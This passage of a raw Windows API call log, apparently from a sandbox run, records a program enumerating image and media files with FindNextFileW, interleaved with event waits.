ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0252.985] ResetEvent (hEvent=0x2b8) returned 1 [0252.986] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.000] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0253.001] ResetEvent (hEvent=0x2b8) returned 1 [0253.001] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.007] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0253.008] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0253.008] ResetEvent (hEvent=0x2b8) returned 1 [0253.008] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.016] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0253.016] ResetEvent (hEvent=0x2b8) returned 1 [0253.016] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.028] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0253.029] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0253.029] ResetEvent (hEvent=0x2b8) returned 1 [0253.029] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.040] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0253.041] ResetEvent (hEvent=0x2b8) returned 1 [0253.041] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.048] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0253.048] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0253.048] ResetEvent (hEvent=0x2b8) returned 1 [0253.048] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.056] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0253.056] ResetEvent (hEvent=0x2b8) returned 1 [0253.056] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.188] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0253.189] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0253.189] ResetEvent (hEvent=0x2b8) returned 1 [0253.189] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.194] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0253.194] ResetEvent (hEvent=0x2b8) returned 1 [0253.195] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.239] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0253.240] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0253.240] ResetEvent (hEvent=0x2b8) returned 1 [0253.240] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.443] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0253.443] ResetEvent (hEvent=0x2b8) returned 1 [0253.444] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.458] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0253.458] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0253.458] ResetEvent (hEvent=0x2b8) returned 1 [0253.458] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.468] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0253.469] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0253.469] ResetEvent (hEvent=0x2b8) returned 1 [0253.469] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.477] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0253.477] ResetEvent (hEvent=0x2b8) returned 1 [0253.477] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.498] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0253.498] ResetEvent (hEvent=0x2b8) returned 1 [0253.498] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.511] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0253.511] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0253.512] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0253.512] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0253.512] ResetEvent (hEvent=0x2b8) returned 1 [0253.512] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.516] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0253.517] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0253.517] ResetEvent (hEvent=0x2b8) returned 1 [0253.517] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.522] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0253.522] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0253.523] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0253.523] ResetEvent (hEvent=0x2b8) returned 1 [0253.523] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.526] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0253.526] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0253.526] ResetEvent (hEvent=0x2b8) returned 1 [0253.526] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.699] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0253.700] ResetEvent (hEvent=0x2b8) returned 1 [0253.700] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.703] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0253.704] ResetEvent (hEvent=0x2b8) returned 1 [0253.704] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.706] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0253.707] ResetEvent (hEvent=0x2b8) returned 1 [0253.707] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.712] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0253.712] ResetEvent (hEvent=0x2b8) returned 1 [0253.712] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0253.719] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0253.719] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0253.719] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0253.719] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, 